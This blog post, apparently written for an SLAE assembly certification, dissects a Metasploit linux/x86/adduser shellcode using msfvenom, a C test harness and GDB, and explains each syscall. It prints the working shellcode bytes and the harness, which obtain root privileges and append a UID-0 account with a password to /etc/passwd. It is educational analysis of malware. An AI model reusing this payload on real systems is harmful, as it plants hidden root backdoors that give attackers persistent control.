This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode
  • Present your analysis

Generate payload using msfvenom

We have checked the payload parameters.

> msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:
 
 
       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal
 
Provided by:
    skape <[email protected]>
    vlad902 <[email protected]>
    spoonm <[email protected]$email.com>
 
Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create
 
Description:
  Create a new user with UID 0

We generated the payload using msfvenom with USER and PASS options.

> msfvenom -p linux/x86/adduser USER=tiptiptip PASS=abcd1234 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 96 bytes
Final size of c file: 429 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x27\x00\x00\x00\x74\x69"
"\x70\x74\x69\x70\x74\x69\x70\x3a\x41\x7a\x65\x47\x49\x70\x4b"
"\x34\x6a\x2f\x7a\x2e\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
"\x80\x6a\x01\x58\xcd\x80";

We put the shellcode in a C program.

#include<stdio.h>
#include<string.h>
  
unsigned char shellcode[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x27\x00\x00\x00\x74\x69"
"\x70\x74\x69\x70\x74\x69\x70\x3a\x41\x7a\x65\x47\x49\x70\x4b"
"\x34\x6a\x2f\x7a\x2e\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
"\x80\x6a\x01\x58\xcd\x80";
 
void main() {
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}

We compiled the C program and used gdb to analysis the binary.

> gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -g
> gdb -q ./shellcode
(gdb) set disassembly-flavor intel
(gdb) break *shellcode
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /root/SLAE/ass5/shellcode
Shellcode Length:  40
Breakpoint 1, 0x0804a040 in shellcode ()

Here is full assembler code for function shellcode.

=> 0x0804a040 <+0>:    xor    %ecx,%ecx
   0x0804a042 <+2>:   mov    %ecx,%ebx
   0x0804a044 <+4>:   push   $0x46
   0x0804a046 <+6>:   pop    %eax
   0x0804a047 <+7>:   int    $0x80
   0x0804a049 <+9>:   push   $0x5
   0x0804a04b <+11>:  pop    %eax
   0x0804a04c <+12>:  xor    %ecx,%ecx
   0x0804a04e <+14>:  push   %ecx
   0x0804a04f <+15>:  push   $0x64777373
   0x0804a054 <+20>:  push   $0x61702f2f
   0x0804a059 <+25>:  push   $0x6374652f
   0x0804a05e <+30>:  mov    %esp,%ebx
   0x0804a060 <+32>:  inc    %ecx
   0x0804a061 <+33>:  mov    $0x4,%ch
   0x0804a063 <+35>:  int    $0x80
   0x0804a065 <+37>:  xchg   %eax,%ebx
   0x0804a066 <+38>:  call   0x804a092 <shellcode+82>
   0x0804a06b <+43>:  je     0x804a0d6
   0x0804a06d <+45>:  jo     0x804a0e3
   0x0804a06f <+47>:  imul   $0x413a7069,0x74(%eax),%esi
   0x0804a076 <+54>:  jp     0x804a0dd
   0x0804a078 <+56>:  inc    %edi
   0x0804a079 <+57>:  dec    %ecx
   0x0804a07a <+58>:  jo     0x804a0c7
   0x0804a07c <+60>:  xor    $0x6a,%al
   0x0804a07e <+62>:  das   
   0x0804a07f <+63>:  jp     0x804a0af
   0x0804a081 <+65>:  xor    (%edx),%bh
   0x0804a083 <+67>:  xor    %bh,(%edx)
   0x0804a085 <+69>:  xor    %bh,(%edx)
   0x0804a087 <+71>:  cmp    (%edi),%ch
   0x0804a089 <+73>:  cmp    (%edi),%ch
   0x0804a08b <+75>:  bound  %ebp,0x6e(%ecx)
   0x0804a08e <+78>:  das   
   0x0804a08f <+79>:  jae    0x804a0f9
   0x0804a091 <+81>:  or     -0x75(%ecx),%bl
   0x0804a094 <+84>:  push   %ecx
   0x0804a095 <+85>:  cld   
   0x0804a096 <+86>:  push   $0x4
   0x0804a098 <+88>:  pop    %eax
   0x0804a099 <+89>:  int    $0x80
   0x0804a09b <+91>:  push   $0x1
   0x0804a09d <+93>:  pop    %eax
   0x0804a09e <+94>:  int    $0x80
   0x0804a0a0 <+96>:  add    %al,(%eax)

We quickly identified there are 3 syscall at 4 locations as shown below. We will set a breakpoint at just before each syscall.

0x0804a047 <+7>:  int $0x80
0x0804a063 <+35>: int $0x80
0x0804a099 <+89>: int $0x80
0x0804a09e <+94>: int $0x80

Review syscall

Syscall 1: "setreuid"

For first syscall at 0x0804a047, the register values as shown below.

EAX=0x46 (70), EBX=0, ECX=0, EDX=0xb7fb9870
eax            0x46	70
ecx            0x0	0
ebx            0x0	0

According to unistd_32.h, EAX=0x46 means this syscall is "setreuid". EBX and ECX is ruid and euid respectivity.

int setreuid(uid_t ruid, uid_t euid);

To sum up, setruid(0,0) is executed. This is a neccessary step since we need to be effective user or group ID = 0 in order to edit /etc/passwd.

Syscall 2: "open"

For second syscall at 0x0804a063, the register values as shown below.

eax            0x5	5
ebx            0xbffff5ac	-1073744468
ecx            0x401	1025

According to unistd_32.h, EAX=0x5 means this syscall is open. EBX is point to pathname, ECX is flags.

int open(const char *pathname, int flags);

We verified EBX is pointer to string /etc//passwd.

(gdb) x/s 0xbffff5ac 0xbffff5ac:	"/etc//passwd"

By reviewing fcntl.h, we understand that Flags=0x401 means O_WRONLY and O_APPEND.

The file is opened in WRITE mode only and with O_APPEND.

Syscall 3: "write"

For third syscall at 0x0804a099, the register values as shown below.

EAX=0x4, EBX=3, ECX=0x804a06b, EDX=0x27 (39)
eax            0x4	4
ebx            0x3	3
ecx            0x804a06b	134520939
edx            0x27	39

According to unistd_32.h, EAX=0x4 means this syscall is write. EBX is fd. ECX is pointer to string buffer. EDX is count.

ssize_t write(int fd, const void *buf, size_t count);

EBX=0x3 means the syscall writes the string buffer to file description /etc/passwd.

ECX is 0x804a06b (pointer to string buffer tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh)

(gdb) x/s $ecx 0x804a06b <shellcode+43>:	"tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

EDX=39 means the string length is 39.

To sum up, write( /etc/passwd file descriptor, tiptiptip:AzeGIpK4j/z.2:0:0::/:/bin/sh, 39) is executed.

Syscall 4: "exit"

For fourth syscall at 0x0804a09e, the register values as shown below.

eax            0x1	1
ebx            0x3	3

According to unistd_32.h, EAX=0x1 means this syscall is exit. EBX is status code.

It means the program exit with status code = 3.

void _exit(int status);

Summary

  1. setreuid(0,0) = 0
    Ensure real/effective UID is of root
  2. open("/etc//passwd", O_WRONLY|O_APPEND) = 3
    Open file and append to it.
  3. write(3, "tiptiptip:AzeGIpK4j/z.2:0:0::/:/"..., 39) = 39
    Write operations
  4. exit(3)
    Exited with 3